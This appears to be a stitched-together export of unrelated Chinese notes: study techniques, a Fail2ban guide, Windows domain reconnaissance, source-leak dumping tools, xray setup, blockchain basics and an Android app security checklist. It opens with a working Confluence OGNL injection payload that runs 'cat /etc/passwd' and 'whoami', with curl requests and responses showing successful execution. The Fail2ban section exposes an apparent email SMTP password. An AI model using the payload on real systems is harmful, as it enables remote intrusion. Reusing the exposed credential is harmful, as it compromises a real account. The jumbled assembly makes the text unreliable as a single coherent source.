测试payload
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
curl -I -k "http://{host}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"HTTP/1.1 302X-ASEN: SEN-16357695X-Confluence-Request-Time: 1654478089003Set-Cookie: JSESSIONID=A34182817EBFE6F7FA068AFB7582E98E; Path=/; HttpOnlyX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self'X-Cmd-Response: confluenceLocation: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=trueContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedDate: Mon, 06 Jun 2022 01:14:49 GMT
curl -I -k "https://{host}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"HTTP/2 302date: Mon, 06 Jun 2022 01:27:10 GMTcontent-type: text/html;charset=UTF-8cache-control: privateexpires: Thu, 01 Jan 1970 02:00:00 ISTx-asen: SEN-15222703x-confluence-request-time: 1654478830348x-confluence-cluster-node: 31b036c8p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"set-cookie: JSESSIONID=18114A6EC984E7571933004E790DF93F; Path=/; Secure; HttpOnlyx-xss-protection: 1; mode=blockx-content-type-options: nosniffx-cmd-response: nt authority\systemlocation: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=truecf-cache-status: DYNAMICexpect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"server: cloudflarecf-ray: 716d5d2b3f2bf8a7-NRTalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
]]>知识晶体分解-> {key/:explain}
[!done] 如何操作知识晶体
将知识晶体组块,逐步实现自动化(何时用)、条件化(如何用)
[!tip] 1.大脑是用来思考的,不是用来记忆的。
**建立外脑的本质就是体系化你知识的过程!!!
外脑(体系化,便管理,易提取)= 存储笔记系统 + 索引笔记系统
Title: 如何高效学习
Date: 2022-04-24 15:01
Author: crkmyth1cal
Tags:
Modified: 2022-04-24 15:01
Referer: https://blog.csdn.net/qq_35664104
Weather: Unknown location; please try ~39.9059631,116.391248
^b5cab6
当你有几个小时空闲的时间,与其埋头苦读,不如把学习时间分散,集中精力完成一些小而有效的学习任务。
若每天学习时间很短,但学习频率很高,从长远看你最终能学到的更多。
把每天分为三个主要的时间段:
[!tip] 早上15mins-第二次复习
复习前一晚的笔记, 看看睡了一夜后你还能记得多少。前一天遗留的问题应该成为今天首要解决的知识点。
[!tip] 中午30mins-学习时间
借助课程和学习资料学习新知识,或者利用这段时间做作业和练习,在这30mins内保持专注、保证效率
[!tip] 下午15mins-第一次复习
复习白天学过的知识点,夯实新学的语法和词汇,查漏补缺,第二天早上进行第二次复习。
若无法每天坚持学习,可以使用如下方法:
]]>[!tip]
每天花三天按照 [[#^b5cab6| 15/30/15]] 的计划学习,然后休息四天。
在休息日的时候,你只用每天花几分钟回顾一下学过的知识就好,无需学习新内容。
(58 条消息) 有类似专门研究学习方法的书吗? - 知乎 (zhihu.com)
[!faq] 什么是检索练习
- 费曼学习,温故而知新,可以为师也
[!summary] 从记忆中检索知识有两大显著的好处:
- 是明确已知和未知,合理分配精力
- 强化新知与已知之间的联系,方便今后回忆检索,可以有效地中止遗忘。
- 被忘掉的不是知识本身,而是能让你找到并检索这些知识的线索。
- 知识最终将变成条件反射
[!faq] 如何提高检索练习的效率?
检索某件事物所耗费的努力越多,你学得就越扎实 正是感觉到学习更吃力时,记忆才更为长久、牢固。
- 间隔/重复检索
- 使用anki学习/复习 定期自测,重新校准已知和未知。可以防止遗忘,强化检索路径,而且对于保存你想要掌握的知识来说至关重要。
- 穿插/多样检索 ,
- 交替学习/复习, 同一事物的多样性,从不同角度学习/复习
- 有助于我们更好地学习如何评估背景,以及辨识问题间的差异,从一系列可选的答案中选择并应用正确的解决方案。
- 反思及细化
- 为新资料提供一种比喻或视觉形象
- 把资料和你已知的东西联系起来,用自己的语言向别人解释,或者解释这些资料与你的课外生活有什么联系。
[!warning] - [ ] 艾宾浩斯曲线毫无意义
不同的事物,不同的人,不同的状态,你的记忆效果都会不一样。
- 一件事情多快被遗忘,很大程度上取决于这件事对我们的重要程度。
[!warning] 低效学习方法
那些方法并没有给大脑带来挑战,没法起到巩固的作用,只会让人误以为自己已经掌握了。用今天流行的话讲就是:你只是假装很努力!
- 反复阅读 , 反复阅读的效果是边际递减的
- 划线
- 摘抄
- 长时间盯着笔记与课本
- 记笔记 (指上课时想把老师说的话全部记下来的行为)
[!faq] 为什么无法从不擅长的事情里学到知识
即便有人能得到负面反馈,他们还必须准确理解为什么会失败。
要成功需要做对所有的事情。
相反,失败则可以归结到任何一个外部理由上:做不好事情怪工具不合适是很容易的。
[!faq] 为什么穿插练习的效果更好?
把不同类型的问题或样本混合起来学习,可以提高你区别问题类型的能力,辨识出同一类型问题的普遍特点,并且能提高你在今后测验或真实环境中的成功率。
在现实世界中,你必须能够识别要解决问题的类型,才能运用正确的解决方案。
]]>[!faq] 间隔检索练习,间隔多久最为合适?
从最低限度上说,间隔的时间足够出现一点儿遗忘就对了。
在两次练习间至少间隔一天应该是不错的做法。
Fail2Ban 是入侵检测软件框架,保护计算机免受暴力破解(brute-force attack)。以 Python 语言编写,能运行于具有包(packet)控制或防火墙的 POSIX 系统,如 iptables 或 TCP Wrapper.
Fail2Ban可以通过描日志文件并用正则匹配分析,然后通过更新防火墙规则来禁止某些有恶意迹象的 IP(密码失败过多,寻求漏洞利用等)来提高服务器安全性。
apt install fail2banyum install fail2bansystemctl restart fail2bansystemctl enable fail2ban.service # 开机自启
/etc/fail2ban/
/etc/fail2ban/filter.d/
:条件文件夹, 内含默认文件,用于定义日志文件内容的过滤规则,其中预设于了 SSH、Nginx、Apache 的监控规则/etc/fail2ban/action.d/
:动作文件夹, 发现恶意 IP 后采取的操作,其中预设了许多常用操作,其中预设了 iptables、firewalld、sendmail 等操作/etc/fail2ban/jail.d
:配置文件夹, Jail 由 Filter 和 Action 组成,用于定义错误次数、封禁时长、封禁动作等/etc/fail2ban/jail.conf
:定义 fai2ban 自身的日志级别、日志位置等当 filter 文件监视到的错误记录条数在 jail 中定义的时间内达到 jail 中定义的次数后,告知系统 iptables 执行封禁动作及封禁时长。在封禁时长到期时,告知 iptables 解除封禁。
/etc/fail2ban/filter.d/<fiter-name>.local
首先设置过滤规则,在 /etc/fail2ban/filter.d/
目前下新建一个 .conf
文件,名字自取,比如我新建的是 nginx-zatp-com.conf
,然后进行设置:
[Definition]failregex = ignoreregex =
其中:
failregex:表示过滤规则的正则表达式;
ignoreregex:表示忽略规则的正则表达式,可以设置为 .*(webp|svg|jpg|png)
忽略对图片文件的请求,防止图片文件过多误伤;
而这里要实现我们想要的效果,也有两个选择,配合开篇提到的 Nginx 流控产生的日志文件(error.log)进行匹配过滤或者直接对 Nginx 的访问日志文件(access.log)进行匹配过滤。原理都一样,fail2ban 预置了很多常见服务的日志文件匹配模板,在 /etc/fail2ban/filter.d/
目录下可以找到。如果你修改了日志格式,那么需要根据你的日志文件格式改写相应的表达式。
这里我用 Nginx 的 limit_req_zone
流控模块做一个示例,下面是一条超过限制产生的错误信息:
2021/10/13 01:02:39 [error] 14174#0: *41792 limiting requests, excess: 5.920 by zone "request", client: x.x.x.x, server: www.zatp.com, request: "HEAD /?feed=rss HTTP/2.0", host: "www.zatp.com"
参考自带的 /etc/fail2ban/filter.d/nginx-limit-req.conf
模板,可以写成下面的表达式:
[Definition]failregex = ^\s*\[[a-z]+\] \d+#\d+: \*\d+ limiting requests, excess: [\d\.]+ by zone ".*", client: <HOST>,ignoreregex =
failregex
也可以直接简写为:
failregex = limiting requests, excess:.* by zone.*client: <HOST>
其中 <HOST>
是必须包含的,fail2ban 通过这个来获取 IP 地址,测试自定义的规则是否生效:
fail2ban-regex /var/log/nginx/access.log /etc/fail2ban/filter.d/nginx-zatp-com.conf
如果成功匹配会返回匹配到的信息:
Results=======Failregex: 4 total|- #) [# of hits] regular expression| 1) [4] ^\s*\[[a-z]+\] \d+#\d+: \*\d+ limiting requests, excess: [\d\.]+ by zone ".*", client: <HOST>,`-Ignoreregex: 0 total
Fail2ban在安装时会创建两个默认的配置文件:
/etc/fail2ban/jail.d/defaults-debian.conf
/etc/fail2ban/jail.conf
Fail2ban将按以下顺序读取配置文件。每个.local
文件都会覆盖.conf
文件中的设置:
/etc/fail2ban/jail.conf
/etc/fail2ban/jail.d/*.conf
/etc/fail2ban/jail.local
/etc/fail2ban/jail.d/*.local
cp /etc/fail2ban/jail.{conf,local}ignoreip = 127.0.0.1/8 ::1 123.123.123.123 192.168.1.0/24
[jail_name]
: jail的名称enabled
: 可以设置为true或false以启用/禁用过滤器port
: 运行服务的端口,如果使用的端口是默认端口,则可以使用服务名称,否则需要明确指定端口号filter
: 位于/etc/fail2ban/filter.d/
目录中的过滤器文件的名称(需要与自定义规则里的名称一致,不需要.conf后缀),其中包含用于解析日志的fileregex信息logpath
: fail2ban检测的日志文件路径backend
: 用于获取日志文件修改的后端 auto
ignoreip
: 设置白名单ip地址,以空格分隔多个ip/ip段banaction
: 实时锁定行动的类型action
: iptables-allports
如果被触发,执行怎样的脚本?banaction_allports
: Fail2ban阻止每个端口上的远程IP地址bantime
: 锁定时长,默认单位为秒, 默认10m ,值-1将永久禁止IP地址maxretry
: 允许IP失败尝试次数。 默认值设置为5,findtime
: 重试次数之前的持续时间findtime=10mmaxretry=3bantime=1d
表示 findtime(10m)
中内失败次数达到maxretry(3)
次则锁定bantime(1d)
apt install -y bsd-mailx sendmailsystemctl restart sendmail.servicecat <<EOF >> /etc/mail.rcset bsdcompatset from= 741474596@qq.comset smtp=smtp.qq.com:465 set smtp-auth-user=741474596@qq.comset smtp-auth-password=gkotyjhergynbdjh set smtp-auth=login #启用ssl加密set smtp-user-starttls set ssl-verify=ignore#ssl的加密证书set nss-config-dir=/etc/ssl/certs EOF# 测试发送邮件echo "邮件内容" |mail -v -s "邮件标题" xxx@xxx.commail -s "theme" xx@xxx.com < message.txt
Fail2ban可以在IP被禁止时发送电子邮件警报。 要接收电子邮件,您需要在服务器上安装SMTP并更改默认的action,该action操作仅将IP禁止为%(action_mw)s
,如下所示:
# /etc/fail2ban/jail.localaction = %(action_mw)s
%(action_mw)s
将禁止有问题的IP,并发送包含Whois报告的电子邮件。 如果要在电子邮件中包含相关日志,请将操作设置为%(action_mwl)s
。您还可以调整发送和接收电子邮件地址:
# /etc/fail2ban/jail.localdestemail = admin@myfreax.comsender = root@myfreax.com
#创建Telegram 机器人为关注`Botfather`,按提示操作即可,#可查找机器人Token,添加`userinfobot`查找自己聊天ID#在/etc/fail2ban/action.d/中新建telegram.conf文件并写入[Definition]actionstart = /etc/fail2ban/scripts/send_telegram_notif.sh -a startactionstop = /etc/fail2ban/scripts/send_telegram_notif.sh -a stopactioncheck =actionban = /etc/fail2ban/scripts/send_telegram_notif.sh -n <name> -b <ip>actionunban = /etc/fail2ban/scripts/send_telegram_notif.sh -n <name> -u <ip>[Init]init = 123``````bash#在/etc/fail2ban/中新建scripts目录,并新增send_telegram_notif.sh脚本文件写入#!/bin/bash# Version 1.0# Send Fail2ban notifications using a Telegram Bot# Add to the /etc/fail2ban/jail.conf:# [sshd]# ***# action = iptables[name=SSH, port=22, protocol=tcp]# telegram# Create a new file in /etc/fail2ban/action.d with the following information:# [Definition]# actionstart = /etc/fail2ban/scripts/send_telegram_notif.sh -a start# actionstop = /etc/fail2ban/scripts/send_telegram_notif.sh -a stop# actioncheck =# actionban = /etc/fail2ban/scripts/send_telegram_notif.sh -n <name> -b <ip># actionunban = /etc/fail2ban/scripts/send_telegram_notif.sh -n <name> -u <ip>## [Init]# init = 123# Telegram BOT TokentelegramBotToken='xxxxx' #此处替换为自己Telegram 机器人Token# Telegram Chat IDtelegramChatID='xxxxx'#此处替换为自己的Chat IDfunction talkToBot() { message=$1 curl -s -X POST https://api.telegram.org/bot${telegramBotToken}/sendMessage -d text="${message}"-d chat_id=${telegramChatID} > /dev/null 2>&1}if[ $# -eq 0 ]; then echo "Usage $0 -a ( start || stop ) || -b $IP || -u $IP" exit 1;fiwhile getopts "a:n:b:u:" opt; docase"$opt"in a) action=$OPTARG;; n) jail_name=$OPTARG;; b) ban=y ip_add_ban=$OPTARG;; u) unban=y ip_add_unban=$OPTARG;; ?) echo "Invalid option. -$OPTARG" exit 1;;esacdoneif[[ ! -z ${action} ]]; thencase"${action}"in start) talkToBot "Fail2ban has been started on `hostname`.";; stop) talkToBot "Fail2ban has been stopped on `hostname`.";;*) echo "Incorrect option" exit 1;;;esacelif[[ ${ban} == "y"]]; then talkToBot "[${jail_name}] The IP: ${ip_add_ban} has been banned on `hostname`." exit 0;elif[[ ${unban} == "y"]]; then talkToBot "[${jail_name}] The IP: ${ip_add_unban} has been unbanned on `hostname`." exit 0;else infofi
#给send_telegram_notif.sh脚本添加可执行权限chmod +x send_telegram_notif.sh#修改jail.local配置文件,将启用的jail的action下添加一个telegram,如下action = iptables[name=SSH,port=2202,protocol=tcp] telegram#重启fail2ban验证systemctl restart fail2ban
Telegram 机器人告警通知效果如图
systemctl restart fail2banservice fail2ban restart
#!/bin/bashfor ((i=1;i<=50;i++)); docurl -H "Fail2ban test" https://your-domian/test > /dev/null 2>&1doneecho "done"```# 使用Fail2ban客户端`fail2ban-client <COMMAND>`以下是 Fail2ban-client 命令列表:- `start`: 用于启动fail2ban服务器和jails- `reload`: 用于重新加载 Fail2ban 配置- `stop`: 停止服务器- `status`: 用于检查服务器状态并启用 jails- `status JAIL` : 显示监狱的状态和当前被禁止的 IP## 查看所有命令```shellfail2ban-client -help
fail2ban-client ping # 正确启动的话fail2ban会以pong作为回应(Server replied: pong)sudo fail2ban-client version #查看 Fai2ban 的版本sudo fail2ban-client ping #检查 Fail2ban 是否正常运行(正常将显示 pong)sudo systemctl start fail2ban #启动 Fail2bansudo systemctl stop fail2ban #停止 Fail2bansudo systemctl restart fail2ban #重启 Fail2bansudo tail -f /var/log/fail2ban.log #打开 Fail2ban 的日志监控sudo iptables --list -n #显示系统当前 iptablessudo iptables -D INPUT -s xxx.xxx.xxx.xxx -j DROP #解除封禁的 IP
fail2ban-client status [jailname]
sudo fail2ban-client set <jailname> banip/unbanip <IP>
sudo fail2ban-client set sshd banip 23.34.45.56sudo fail2ban-client set sshd unbanip 23.34.45.56
fail2ban-client set <JAIL> addignoreip/delignoreip <IP>
fail2ban-regex [OPTIONS] <LOG> <REGEX> [IGNOREREGEX]
LOG
为需要匹配的日志文件路径,REGEX
为正则表达式所在的文件路径(通常位于filter.d
文件夹内)以下为常用的OPTIONS
// Do not print any missed lines--print-no-missed// Do not print any ignored lines--print-no-ignored// Print all matched lines--print-all-matched// Print all missed lines, no matter how many--print-all-missed// Print all ignored lines, no matter how many--print-all-ignored
tail -f /var/log/fail2ban.log
]]>dns一般为域控,并且域控会开启389端口(LDAP服务)
net accounts # 查看本地密码策略net accounts /domain # 查看域密码策略net user # 查看本机有哪些用户net user /domain # 查看当前域中所有域用户net user <account-name> /domain # 查看域用户登陆时间,密码过期时间,是否有登陆脚本,所属组net time /domain # 查看域时间net localgroup administrators # 查看本机管理员账户net localgroup administrators /domain # 查看登陆本机的域管理员账户net group /domain # 查看域内所有的组账户net group "domain admins" /domain # 查看域管理员用户组及成员net group "domain controllers" /domain # 查看域控列表nslookup -type=SRV _ldap._tcp.dc._msdcs.gpgc.local # 定位域控主机名net group "domain computers" /domain # 查看所有域成员计算机列表net view /domain:gpgc.local # 查看指定域列表nltest /domain_trusts # 获取域信任信息nltest /dclist:xxzx.gpgc.local # 查看域控cmdkey /l # 是否保存了登录凭证rout print # 打印当前路由信息netstat -ant # 查看网络连接情况
whoami /all用户信息----------------用户名 SID ===================== ==============================================ethanhunter78bc\ethan S-1-5-21-4157029122-2371177861-4132612220-1000
systeminfo系统信息中含有两项:Domain和Logon Server,前者为域名,后者为域控。倘若Domain为Workgroup则当前服务器不在域内
systeminfo | findstr "\."OS 版本: 10.0.19042 暂缺 Build 19042系统制造商: Parallels Software International Inc.BIOS 版本: Parallels Software International Inc. 16.1.2 (49151), 2020/12/18页面文件位置: C:\pagefile.sys域: xxzx.example.local ---> 当前所在域 DHCP 服务器: 10.147.11.71 ---> DNS服务器地址 [01]: 10.122.166.103 ---> 本机地址
net time /domain
判断如果存在域会从域控返回时间, 并在第一行返回域控及域名
如果当前服务器在域内但是当前用户非域用户,则会返回System error 5就表示权限不够
返回找不到域Workgroup的域控制器表示当前网络环境为工作组
net time /domain
net config workstation
判断其中工作域显示域名,同样若为WORKGROUP则非域环境,登录域表明当前用户是域用户登录还是本地用户登录
net config workstation计算机名 \\ETHANHUNTER78BC计算机全名 ETHANHUNTER78BC用户名 ethan工作站正运行于 NetBT_Tcpip_{0329A0F2-ADD9-4358-93A2-CC710202AAEF} (001C42EB757D)软件版本 Windows 10 Pro for Workstations工作站域 XXZX //WORKGROUP为不在域内工作站域DNS名称 xxzx.example.local登录域 XXZX // 表面当前用户是域用户
for /L %I in (1,1,254) do @ping -w 1 -n 1 10.122.166.%I | findstr "TTL="
]]>.git/config
存在,漏洞存在工具 scrabble
bash scrabble http://www.example.com/ # make sure target has .git folder
git reset–hard HEAD^ # HEAD 代表当前版本 HEAD^代表上一个版本
git log –stat # 查看显示当前的HEAD和它的祖先
git diff HEAD
git reflog # 查看所有提交记录,包括分支
GitHack.py http://www.openssl.org/.git/ pip3 install GitHacker githacker --url http://127.0.0.1/.git/ --folder result
wc.db
文件存在,漏洞存在rip-svn.pl -v -u http://www.example.com/.svn/
hg init的时候会生成.hg
rip-hg.pl -v -u http://www.example.com/.hg/
在发布代码时未删除文件夹中隐藏的.DSstore,被发现后,获取了敏感的文件名等信息。
python ds_store_exp.py http://www.example.com/.DS_Store
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
www.zip/rar/tar.gz
robotx.txtreadme.md
document.querySelectorAll(".aSpan").forEach((node)=>{console.log(node.innerText);})
在 xray 中,反连平台默认不启用,因为这里面有些配置没有办法自动化,必须由人工配置完成才可使用。
需要反连平台才可以检测出来的漏洞包括但不限于:
在vps上需配置 config.yaml
中 reverse 部分
# 服务端reverse: db_file_path: "reverse.db" token: "please_change_me_to_a_new_token" http: listen_ip: 0.0.0.0 listen_port: "80"
执行如下命令
./xray reverse
在本地客户端的xray需配置 config.yaml
如下 reverse 部分
reverse: token: "please_change_me_to_a_new_token" client: remote_server: true http_base_url: "http://YOUR_REVERSE_SERVER_IP:80"
执行如下命令
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output ~/Desktop/xray-report.html
References:
xray官方文档
区块链最核心的价值体现在 去中心化 、*不可篡改* 、*可溯源*
用分布式数据库技术识别、传播和记载信息的智能对等网络1
从狭义上讲通过数字货币看区块链,它既是数据结构,又是分布式账本,更是一套技术方案。
从广义上讲,区块链技术使用了一种全新的分布式基础架构和计算方式
保证隐私的技术🔐-加密
对称(私钥)加密: 加解密互为逆操作,私钥加密,私钥解密
常见的对称加密算法有DES、3DES、AES、Blowfish、IDEA、RC5、RC6
非对称加密: 公钥和私钥互为加解密工具,不能x钥加密,x钥解密。私钥可以计算出公钥
公钥加密,私钥签名
数字世界的身份证🆔-哈希
哈希算法是将文件映射为较短的固定长度字符串(哈希值)
相同文件哈希值相同,不可逆推,计算极快
数字签名: 抗抵赖、不可伪造、可轻松识别
Centralized –> Distributed –> Decentralized –> P2P(拥有一定共识,动力来自底层节点,没有第三方中心节点的统一指挥)
CAP定理: 在分布式系统中,必然无法同时满足一致性(consistency)、可用性(Availability)、分区容忍性(Partition Tolerance), CAP三者最多得其二
1 互联网是基于TCP/IP协议搭建起来的,而区块链的P2P网络依然使用的是TCP/IP协议,所以区块链是基于互联网的,它在互联网的基础上实现叠加和升级,是互联网的高级形态
]]>graph LR java[.java文件] -->|javac|cls[.class文件] cls[.class文件] --> dx[dx] jar[.jar文件] --> dx[dx] dx[dx] --> dex[class.dex] dex[class.dex] -->|dex2oat| oat[oat格式的class.dex文件] dex[class.dex] -->aapt[aapt] resource[resource] -->aapt[aapt] aapt --> .apk文件 .apk文件 --> jarsigner jarsigner--> zipalign zipalign --> signsign[signed .apk文件]
apktool 检测防篡改能力
反编译
java -jar apktool.jar d -f Test.apk
重打包
java -jar apktool.jar b -f directory_name -o Test.apk java -jar signapk.jar testkey.x509.pem testkey.pk8 old.apk new.apk
baksmali 作用 classes.dex -反编译-> smali
java -jar baksmali.jar classes.dex -o smalifile
smail 作用 smali –> classes.dex
java -jar smali.jar smalifile -o classes.dex
dex2jar 作用 dex –> jar
sh d2j-dex2jar.sh -f ~/path/to/apk_to_decompile.apk
[ ] jd-gui 作用 展示jar包中源码
[ ] jeb 用于逆向工程/审计apk文件的反编译工具
检测目的
检测App是否可以防止反编译工具,是否具有防逆向保护措施
检测方法
检测结论
若App的dex文件和so文件无法正常反编译或者App经过加固处理,则通过测试
修复建议
对App文件结构进行变形或加密,让反编译工具无法识别,或对App文件进行加固处理
检测目的
检测App反编译后的源码是否经过混淆处理
检测方法
通过反编译工具对apk文件进行反编译,查看代码中的类、字段和方法是否经过混淆处理
检测结论
若反编译后源码中的类、字段和方法使用a、b、c、d等无意义的字符重命名,则通过测试
修复建议
对App源码进行混淆处理
检测目的
检测App反编译后的源码的混淆强度,查看是否能够有效地保护代码安全
检测方法
检测结论
若反编译后代码*不能识别*出App函数的功能,则通过测试
修复建议
针对dex文件和so文件的类名、函数名、字段、方法进行高强度混淆
检测目的
检测App是否对关键代码和数据实施有效的保护措施,是否暴露业务逻辑
检测方法
通过反编译工具对apk文件进行反编译,结合manifest.xml配置文件,分析App注册、登陆、支付过程、加密算法、数据通信等关键功能代码,查看相关代码逻辑是否有明显的暴露
检测结论
若App关键业务代码(如相关业务字符串)未暴露,且关键数据经过加密和隐藏保护处理,则通过测试
修复建议
将App关键代码进行隐藏、混淆、加壳等处理,从而无法逆向出重要的代码信息
检测目的
检测App启动时是否进行了完整性校验,是否对客户端代码、资源文件进行修改,是否具有防篡改机制
检测方法
java -jar apktool.jar d -f /path/to/test.apk
java -jar apktool b -f /path/to/test
检测结论
若打包后安装后*不能正常运行*,则通过测试
修复建议
采用完整性校验技术对安装包进行校验,校验对象包括原包中代码、资源文件、配置文件等所有文件,一旦校验失败,立即退出
检测目的
检测方法
检测结论
修复建议
检测目的
检测方法
检测结论
修复建议
检测目的
检测App内存是否具有内存防护功能,防止内存转储
检测方法
gdb -p <PID>
挂载App进程后,使用 (gdb) gcore
转储内存检测结论
若未生成corefile core.<pid>
,则通过测试
修复建议
通过监控 /proc/pid/mem
和 /proc/pid/pagemep
来防止内存转储
检测目的
检测App进程空间是否可以被注入第三方动态so文件
检测方法
检测结论
若第三方动态库文件*不能注入*到目标进程空间,则通过测试
修复建议
检测进程间数据通信是否具有泄露用户信息的风险
查看AndroidManifest.xml文件中的
<activity android:exported="true"
则可以被第三方App启动<provider android:authorities="com.bgy.ssm.fileprovider" android:exported="true"
则可以被第三方app调用,实现增、删、改、查<receiver android:exported="true"
则可以接收第三方App发送的广播消息<service android:enabled="true" android:exported="true"
则可以被第三方app启动客户端App用于跨进程通信的4种组建分别为Activity、ContentProvider、BroadCast、Service
在 未明确要求 的情况下,只要以上配置中存在任一 exported=true
则测试 不通过
在未明确要求的情况下,在AndroidManifest.xml配置文件中设置该组建的exported属性为false,或对组建进行权限
检测目的
App是否具有防界面劫持(UI欺骗)功能,防止黑客伪造界面对原有界面进行覆盖,窃取用户和密码等敏感信息
检测方法
反编译源码,查看是否具有检测程序进入后台运行的代码, 当程序不是因为触摸返回键和HOME键今后后台运行时,提醒用户具有被劫持的风险
@Override public boolean onKeyDown(int keyCode, KeyEvent event){ // 判断程序进入后台运行是否未触摸返回键和HOME键造成的 if((keyCode == KeyEvent.KEYCODE_BACK || keyCode == KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){ flag = false; } return super.onKeyDown(keyCode, event); } @Override protected void onPause(){ // 程序进入后台如果不是触摸返回键和HOME键造成的,则进行劫持风险提示 if(flag){ // 弹出警示信息 Toast.makeText(getApplicationContext(), "程序已经进入后台运行,具有劫持的风险", Toast.LENGTH_SHORT).show(); } super.onPause(); }
编写透明界面,当运行至登陆、支付等界面时进行覆盖,查看是否具有风险提示
修复建议
对App的UI界面进行校验,强制将自身UI时刻设置成顶层显示,其中HOME键除外,或自身UI界面进入后台运行后弹框提示用户App已经进入后台运行,有界面劫持风险
检测目的
检测App运行后是否存在防截/录屏保护措施
检测方法
screencap
命令进行连续截屏,查看界面后的图片是否显示敏感信息screenrecord
命令进行录屏,查看录制后的视频是否显示敏感信息修复建议
App要实现防截录屏的保护措施
检测目的
检测App中是否存在设置为可被导出的Activity组件,且组建中包含WebView调用,存在导致敏感信息泄露的风险
检测方法
setAllowFileAccessFromeFileURLs
或 setAllowUninvertedFileAccessFromFileURLs
API设置为 true
检测结论
若App使用WebView组建,并将 setAllowFileAccessFromeFileURLs
或 setAllowUninvertedFileAccessFromFileURLs
API设置为 false
,则通过测试
若App使用WebView组建,并将 setAllowFileAccessFromeFileURLs
或 setAllowUninvertedFileAccessFromFileURLs
API设置为 true
,且file域的路径做了严格限制,则通过测试
修复建议
严格限制包含WebView调用的Activity组建的导出权限,关闭导出权限或限制导出组建的发起者
检测目的
检测App使用的WebView空间加载的外部资源是否存在潜在风险
检测方法
检测App源码,查看客户端是否对WebView对空间加载的资源文件进行了校验,过滤风险代码
检测结论
App使用WebView空间减灾的HTML未明确要求使用Javascript,
未对加载文件进行校验,或未使用安全的通信协议,
并在WebView加载的程序中有实现发送短信,拨打电话等敏感行为的操作代码,则本项测试不通过
修复建议
检测目的
检测App是否使用安全的API实现序列化和反序列化,是否存在反序列化漏洞
检测方法
检测结论
若客户端App不具有序列化和反序列化的代码,或实现序列化和反序列化的API不具有潜在风险和漏洞,则通过测试
修复建议
App采用安全框架的API实现序列化和反序列化
检测目的
检测App是否存在Wormhole漏洞
检测方法
检测结论
如App私自开启了HTTP服务,开放某个TCP端口,同时该服务无身份认证,则本测试 不通过
修复建议
App关闭HTTP服务和端口,增加App的访问权限控制机制
检测目的
检测App注册密码的复杂度(密码内容要求字母大小写、数字、特殊字符组合,长度等)和注册信息在本地存储时的保护程度是否足够高
检测方法
检测App注册密码的复杂度
public static boolean isPasswordChecked(CharSequence data){ return Pattern.compile("^((a-z0-9A-Z)+[_]?){6,20}$").matcher(data).find(); }
检测App在本地存储的注册信息是否加密存储,加密密钥是否进行了隐藏处理
检测结论
如果对注册密码复杂度、长度进行了限制处理,且对本地存储的注册信息进行了加密保护,加密密钥隐藏,则通过测试
修复建议
检测目的
检测App将用户注册信息传输到服务器端的过程中是进行了加密保护
检测方法
使用Burpsuite拦截App注册用户的数据包,查看数据包是否加密
检测结论
若App在将用户注册信息传输到服务器端时进行了加密处理,则通过测试
修复建议
在将用户注册信息传输到服务器端的过程中,对用户注册信息进行加密处理
检测目的
检测App在注册账户时,是否可以爆破获取正确的验证码,注册任意用户
检测方法
在注册界面填写完注册信息后,点击“获取验证码”,使用抓包工具对其抓包,对数据包中的验证码进行暴力破解,爆破成功后,便可注册任意账号
检测结论
若在注册App时验证码被爆破,可以任意注册账户,则本项测试不通过
修复建议
检测目的
检测在App注册过程中是否可以利用已有社工库中的手机号、邮箱、用户名、密码等信息,通过撞库方式频繁嗅探注册账户
检测方法
利用Burpsuite拦截注册用户时的数据包,分析查看是否暴露账户、密码参数,然后利用社工库数据替换账户、密码参数,进行撞库,从而获取用户注册
检测结论
若在注册时暴露账户、密码参数,具有利用撞库对用户注册信息进行嗅探的风险,则本项测试不通过
修复建议
检测目的
检测App登陆密码的验证方案是在本地验证还是在服务器端验证,验证过程中是否加入了设备信息
检测方法
利用JEB逆向分析App登陆功能的源码,分析密码验证中是否加密了设备信息IMEI
检测结论
若密码验证在服务器端进行,且加入了设备信息,避免在非法设备登陆,则通过测试
修复建议
